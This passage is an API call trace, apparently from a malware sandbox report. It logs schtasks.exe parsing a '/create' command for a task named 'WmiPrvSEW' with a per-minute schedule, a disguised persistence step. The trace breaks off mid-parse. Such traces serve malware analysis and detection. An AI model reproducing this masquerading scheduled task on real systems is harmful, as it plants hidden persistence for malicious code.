_vsnwprintf (in: _Buffer=0x21bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11f548 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0088.950] VerQueryValueW (in: pBlock=0x21c360, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11f5d8, puLen=0x11f5c8 | out: lplpBuffer=0x11f5d8*=0x21c528, puLen=0x11f5c8) returned 1 [0088.950] lstrlenW (lpString="schtasks.exe") returned 12 [0088.950] lstrlenW (lpString="schtasks.exe") returned 12 [0088.950] lstrlenW (lpString=".EXE") returned 4 [0088.950] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0088.951] lstrlenW (lpString="schtasks.exe") returned 12 [0088.951] lstrlenW (lpString=".EXE") returned 4 [0088.951] _memicmp (_Buf1=0x21bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.952] lstrlenW (lpString="schtasks") returned 8 [0088.952] GetProcessHeap () returned 0x200000 [0088.952] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x215ea0 [0088.952] GetProcessHeap () returned 0x200000 [0088.952] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cc70 [0088.952] GetProcessHeap () returned 0x200000 [0088.952] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cca0 [0088.952] GetProcessHeap () returned 0x200000 [0088.952] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ccd0 [0088.952] GetProcessHeap () returned 0x200000 [0088.952] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bc10 [0088.952] _memicmp (_Buf1=0x21bc10, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.952] GetProcessHeap () returned 0x200000 [0088.953] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xa0) returned 0x21c190 [0088.953] GetProcessHeap () returned 0x200000 [0088.953] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd00 [0088.953] GetProcessHeap () returned 0x200000 [0088.953] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd30 [0088.953] GetProcessHeap () returned 0x200000 [0088.953] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd60 [0088.953] GetProcessHeap () returned 0x200000 [0088.953] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21bc30 [0088.953] _memicmp (_Buf1=0x21bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.953] GetProcessHeap () returned 0x200000 [0088.953] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x200) returned 0x21d440 [0088.953] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x21d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0088.953] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0088.953] GetProcessHeap () returned 0x200000 [0088.953] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x30) returned 0x217c10 [0088.953] _vsnwprintf (in: _Buffer=0x21c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11f548 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0088.953] GetProcessHeap () returned 0x200000 [0088.953] GetProcessHeap () returned 0x200000 [0088.953] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360) returned 1 [0088.954] GetProcessHeap () returned 0x200000 [0088.954] RtlSizeHeap (HeapHandle=0x200000, Flags=0x0, MemoryPointer=0x21c360) returned 0x74e [0088.954] HeapFree (in: hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360 | out: hHeap=0x200000) returned 1 [0088.954] SetLastError (dwErrCode=0x0) [0088.954] GetThreadLocale () returned 0x409 [0088.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.955] lstrlenW (lpString="?") returned 1 [0088.955] GetThreadLocale () returned 0x409 [0088.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.955] lstrlenW (lpString="create") returned 6 [0088.955] GetThreadLocale () returned 0x409 [0088.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.955] lstrlenW (lpString="delete") returned 6 [0088.955] GetThreadLocale () returned 0x409 [0088.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.955] lstrlenW (lpString="query") returned 5 [0088.955] GetThreadLocale () returned 0x409 [0088.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.955] lstrlenW (lpString="change") returned 6 [0088.955] GetThreadLocale () returned 0x409 [0088.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.955] lstrlenW (lpString="run") returned 3 [0088.955] GetThreadLocale () returned 0x409 [0088.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.955] lstrlenW (lpString="end") returned 3 [0088.955] GetThreadLocale () returned 0x409 [0088.955] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.955] lstrlenW (lpString="showsid") returned 7 [0088.956] GetThreadLocale () returned 0x409 [0088.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0088.956] SetLastError (dwErrCode=0x0) [0088.956] SetLastError (dwErrCode=0x0) [0088.956] lstrlenW (lpString="/create") returned 7 [0088.956] lstrlenW (lpString="-/") returned 2 [0088.956] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.956] lstrlenW (lpString="?") returned 1 [0088.956] lstrlenW (lpString="?") returned 1 [0088.956] GetProcessHeap () returned 0x200000 [0088.956] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21c240 [0088.956] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.956] GetProcessHeap () returned 0x200000 [0088.956] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xa) returned 0x21c360 [0088.956] lstrlenW (lpString="create") returned 6 [0088.956] GetProcessHeap () returned 0x200000 [0088.956] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21c380 [0088.956] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.956] GetProcessHeap () returned 0x200000 [0088.956] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x14) returned 0x21c3a0 [0088.956] _vsnwprintf (in: _Buffer=0x21c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|?|") returned 3 [0088.956] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|create|") returned 8 [0088.956] lstrlenW (lpString="|?|") returned 3 [0088.956] lstrlenW (lpString="|create|") returned 8 [0088.956] SetLastError (dwErrCode=0x490) [0088.956] lstrlenW (lpString="create") returned 6 [0088.957] lstrlenW (lpString="create") returned 6 [0088.957] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.957] GetProcessHeap () returned 0x200000 [0088.957] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c360) returned 1 [0088.957] GetProcessHeap () returned 0x200000 [0088.957] RtlReAllocateHeap (Heap=0x200000, Flags=0xc, Ptr=0x21c360, Size=0x14) returned 0x21c3c0 [0088.957] lstrlenW (lpString="create") returned 6 [0088.957] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.957] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|create|") returned 8 [0088.957] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|create|") returned 8 [0088.957] lstrlenW (lpString="|create|") returned 8 [0088.957] lstrlenW (lpString="|create|") returned 8 [0088.957] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0088.957] SetLastError (dwErrCode=0x0) [0088.957] SetLastError (dwErrCode=0x0) [0088.957] SetLastError (dwErrCode=0x0) [0088.957] lstrlenW (lpString="/tn") returned 3 [0088.957] lstrlenW (lpString="-/") returned 2 [0088.957] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.957] lstrlenW (lpString="?") returned 1 [0088.957] lstrlenW (lpString="?") returned 1 [0088.957] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.957] lstrlenW (lpString="tn") returned 2 [0088.957] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.958] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|?|") returned 3 [0088.958] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tn|") returned 4 [0088.958] lstrlenW (lpString="|?|") returned 3 [0088.958] lstrlenW (lpString="|tn|") returned 4 [0088.958] SetLastError (dwErrCode=0x490) [0088.958] lstrlenW (lpString="create") returned 6 [0088.958] lstrlenW (lpString="create") returned 6 [0088.958] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.958] lstrlenW (lpString="tn") returned 2 [0088.958] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.958] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|create|") returned 8 [0088.958] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tn|") returned 4 [0088.958] lstrlenW (lpString="|create|") returned 8 [0088.958] lstrlenW (lpString="|tn|") returned 4 [0088.958] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0088.958] SetLastError (dwErrCode=0x490) [0088.958] lstrlenW (lpString="delete") returned 6 [0088.958] lstrlenW (lpString="delete") returned 6 [0088.958] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.958] lstrlenW (lpString="tn") returned 2 [0088.958] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.959] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|delete|") returned 8 [0088.959] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tn|") returned 4 [0088.959] lstrlenW (lpString="|delete|") returned 8 [0088.959] lstrlenW (lpString="|tn|") returned 4 [0088.959] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0088.959] SetLastError (dwErrCode=0x490) [0088.959] lstrlenW (lpString="query") returned 5 [0088.959] lstrlenW (lpString="query") returned 5 [0088.959] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.959] lstrlenW (lpString="tn") returned 2 [0088.959] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.959] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|query|") returned 7 [0088.959] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tn|") returned 4 [0088.959] lstrlenW (lpString="|query|") returned 7 [0088.959] lstrlenW (lpString="|tn|") returned 4 [0088.959] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0088.959] SetLastError (dwErrCode=0x490) [0088.959] lstrlenW (lpString="change") returned 6 [0088.959] lstrlenW (lpString="change") returned 6 [0088.959] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.959] lstrlenW (lpString="tn") returned 2 [0088.959] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.960] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|change|") returned 8 [0088.960] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tn|") returned 4 [0088.960] lstrlenW (lpString="|change|") returned 8 [0088.960] lstrlenW (lpString="|tn|") returned 4 [0088.960] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0088.960] SetLastError (dwErrCode=0x490) [0088.960] lstrlenW (lpString="run") returned 3 [0088.960] lstrlenW (lpString="run") returned 3 [0088.960] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.960] lstrlenW (lpString="tn") returned 2 [0088.960] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.960] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|run|") returned 5 [0088.960] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tn|") returned 4 [0088.960] lstrlenW (lpString="|run|") returned 5 [0088.960] lstrlenW (lpString="|tn|") returned 4 [0088.960] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0088.960] SetLastError (dwErrCode=0x490) [0088.960] lstrlenW (lpString="end") returned 3 [0088.960] lstrlenW (lpString="end") returned 3 [0088.960] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.960] lstrlenW (lpString="tn") returned 2 [0088.960] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.960] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|end|") returned 5 [0088.961] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tn|") returned 4 [0088.961] lstrlenW (lpString="|end|") returned 5 [0088.961] lstrlenW (lpString="|tn|") returned 4 [0088.961] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0088.961] SetLastError (dwErrCode=0x490) [0088.961] lstrlenW (lpString="showsid") returned 7 [0088.961] lstrlenW (lpString="showsid") returned 7 [0088.961] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.961] GetProcessHeap () returned 0x200000 [0088.961] HeapValidate (hHeap=0x200000, dwFlags=0x0, lpMem=0x21c3c0) returned 1 [0088.961] GetProcessHeap () returned 0x200000 [0088.961] RtlReAllocateHeap (Heap=0x200000, Flags=0xc, Ptr=0x21c3c0, Size=0x16) returned 0x21c3c0 [0088.961] lstrlenW (lpString="tn") returned 2 [0088.961] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.961] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|showsid|") returned 9 [0088.961] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|tn|") returned 4 [0088.961] lstrlenW (lpString="|showsid|") returned 9 [0088.961] lstrlenW (lpString="|tn|") returned 4 [0088.961] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0088.961] SetLastError (dwErrCode=0x490) [0088.961] SetLastError (dwErrCode=0x490) [0088.961] SetLastError (dwErrCode=0x0) [0088.961] lstrlenW (lpString="/tn") returned 3 [0088.962] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0088.962] SetLastError (dwErrCode=0x490) [0088.962] SetLastError (dwErrCode=0x0) [0088.962] lstrlenW (lpString="/tn") returned 3 [0088.962] GetProcessHeap () returned 0x200000 [0088.962] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21c360 [0088.962] GetProcessHeap () returned 0x200000 [0088.962] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cd90 [0088.962] SetLastError (dwErrCode=0x0) [0088.962] SetLastError (dwErrCode=0x0) [0088.962] lstrlenW (lpString="WmiPrvSEW") returned 9 [0088.962] lstrlenW (lpString="-/") returned 2 [0088.962] StrChrIW (lpStart="-/", wMatch=0x57) returned 0x0 [0088.962] SetLastError (dwErrCode=0x490) [0088.962] SetLastError (dwErrCode=0x490) [0088.962] SetLastError (dwErrCode=0x0) [0088.962] lstrlenW (lpString="WmiPrvSEW") returned 9 [0088.962] StrChrIW (lpStart="WmiPrvSEW", wMatch=0x3a) returned 0x0 [0088.962] SetLastError (dwErrCode=0x490) [0088.962] SetLastError (dwErrCode=0x0) [0088.962] lstrlenW (lpString="WmiPrvSEW") returned 9 [0088.962] GetProcessHeap () returned 0x200000 [0088.962] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x14) returned 0x21c3f0 [0088.962] GetProcessHeap () returned 0x200000 [0088.962] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cdc0 [0088.962] SetLastError (dwErrCode=0x0) [0088.962] SetLastError (dwErrCode=0x0) [0088.962] lstrlenW (lpString="/sc") returned 3 [0088.963] lstrlenW (lpString="-/") returned 2 [0088.963] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.963] lstrlenW (lpString="?") returned 1 [0088.963] lstrlenW (lpString="?") returned 1 [0088.963] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.963] lstrlenW (lpString="sc") returned 2 [0088.963] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.963] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|?|") returned 3 [0088.963] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|sc|") returned 4 [0088.963] lstrlenW (lpString="|?|") returned 3 [0088.963] lstrlenW (lpString="|sc|") returned 4 [0088.963] SetLastError (dwErrCode=0x490) [0088.963] lstrlenW (lpString="create") returned 6 [0088.963] lstrlenW (lpString="create") returned 6 [0088.963] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.963] lstrlenW (lpString="sc") returned 2 [0088.963] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.963] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|create|") returned 8 [0088.963] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|sc|") returned 4 [0088.963] lstrlenW (lpString="|create|") returned 8 [0088.963] lstrlenW (lpString="|sc|") returned 4 [0088.963] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0088.963] SetLastError (dwErrCode=0x490) [0088.963] lstrlenW (lpString="delete") returned 6 [0088.964] lstrlenW (lpString="delete") returned 6 [0088.964] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.964] lstrlenW (lpString="sc") returned 2 [0088.964] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.964] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|delete|") returned 8 [0088.964] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|sc|") returned 4 [0088.964] lstrlenW (lpString="|delete|") returned 8 [0088.964] lstrlenW (lpString="|sc|") returned 4 [0088.964] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0088.964] SetLastError (dwErrCode=0x490) [0088.964] lstrlenW (lpString="query") returned 5 [0088.964] lstrlenW (lpString="query") returned 5 [0088.964] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.964] lstrlenW (lpString="sc") returned 2 [0088.964] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.964] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|query|") returned 7 [0088.964] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|sc|") returned 4 [0088.964] lstrlenW (lpString="|query|") returned 7 [0088.964] lstrlenW (lpString="|sc|") returned 4 [0088.964] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0088.964] SetLastError (dwErrCode=0x490) [0088.964] lstrlenW (lpString="change") returned 6 [0088.964] lstrlenW (lpString="change") returned 6 [0088.964] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.965] lstrlenW (lpString="sc") returned 2 [0088.965] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.965] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|change|") returned 8 [0088.965] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|sc|") returned 4 [0088.965] lstrlenW (lpString="|change|") returned 8 [0088.965] lstrlenW (lpString="|sc|") returned 4 [0088.965] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0088.965] SetLastError (dwErrCode=0x490) [0088.965] lstrlenW (lpString="run") returned 3 [0088.965] lstrlenW (lpString="run") returned 3 [0088.965] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.965] lstrlenW (lpString="sc") returned 2 [0088.965] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.965] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|run|") returned 5 [0088.965] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|sc|") returned 4 [0088.965] lstrlenW (lpString="|run|") returned 5 [0088.965] lstrlenW (lpString="|sc|") returned 4 [0088.965] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0088.965] SetLastError (dwErrCode=0x490) [0088.965] lstrlenW (lpString="end") returned 3 [0088.965] lstrlenW (lpString="end") returned 3 [0088.965] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.966] lstrlenW (lpString="sc") returned 2 [0088.966] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.966] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|end|") returned 5 [0088.966] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|sc|") returned 4 [0088.966] lstrlenW (lpString="|end|") returned 5 [0088.966] lstrlenW (lpString="|sc|") returned 4 [0088.966] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0088.966] SetLastError (dwErrCode=0x490) [0088.966] lstrlenW (lpString="showsid") returned 7 [0088.966] lstrlenW (lpString="showsid") returned 7 [0088.966] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.966] lstrlenW (lpString="sc") returned 2 [0088.966] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.966] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|showsid|") returned 9 [0088.966] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|sc|") returned 4 [0088.966] lstrlenW (lpString="|showsid|") returned 9 [0088.966] lstrlenW (lpString="|sc|") returned 4 [0088.966] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0088.966] SetLastError (dwErrCode=0x490) [0088.966] SetLastError (dwErrCode=0x490) [0088.966] SetLastError (dwErrCode=0x0) [0088.966] lstrlenW (lpString="/sc") returned 3 [0088.966] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0088.966] SetLastError (dwErrCode=0x490) [0088.967] SetLastError (dwErrCode=0x0) [0088.967] lstrlenW (lpString="/sc") returned 3 [0088.967] GetProcessHeap () returned 0x200000 [0088.967] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x8) returned 0x21c410 [0088.967] GetProcessHeap () returned 0x200000 [0088.967] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21cdf0 [0088.967] SetLastError (dwErrCode=0x0) [0088.967] SetLastError (dwErrCode=0x0) [0088.967] lstrlenW (lpString="MINUTE") returned 6 [0088.967] lstrlenW (lpString="-/") returned 2 [0088.967] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0088.967] SetLastError (dwErrCode=0x490) [0088.967] SetLastError (dwErrCode=0x490) [0088.967] SetLastError (dwErrCode=0x0) [0088.967] lstrlenW (lpString="MINUTE") returned 6 [0088.967] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0088.967] SetLastError (dwErrCode=0x490) [0088.967] SetLastError (dwErrCode=0x0) [0088.967] lstrlenW (lpString="MINUTE") returned 6 [0088.967] GetProcessHeap () returned 0x200000 [0088.967] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21c430 [0088.967] GetProcessHeap () returned 0x200000 [0088.967] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x20) returned 0x21ce20 [0088.967] SetLastError (dwErrCode=0x0) [0088.967] SetLastError (dwErrCode=0x0) [0088.967] lstrlenW (lpString="/mo") returned 3 [0088.968] lstrlenW (lpString="-/") returned 2 [0088.968] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0088.968] lstrlenW (lpString="?") returned 1 [0088.968] lstrlenW (lpString="?") returned 1 [0088.968] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.968] lstrlenW (lpString="mo") returned 2 [0088.968] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.968] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|?|") returned 3 [0088.968] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|mo|") returned 4 [0088.968] lstrlenW (lpString="|?|") returned 3 [0088.968] lstrlenW (lpString="|mo|") returned 4 [0088.968] SetLastError (dwErrCode=0x490) [0088.968] lstrlenW (lpString="create") returned 6 [0088.968] lstrlenW (lpString="create") returned 6 [0088.968] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.968] lstrlenW (lpString="mo") returned 2 [0088.968] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0088.968] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|create|") returned 8 [0088.968] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f558 | out: _Buffer="|mo|") returned 4 [0088.968] lstrlenW (lpString="|create|") returned 8 [0088.968] lstrlenW (lpString="|mo|") returned 4 [0088.969] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0088.969] SetLastError (dwErrCode=0x490) [0088.969] lstrlenW (lpString="delete") returned 6 [0088.969] lstrlenW (lpString="delete") returned 6 [0088.969] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 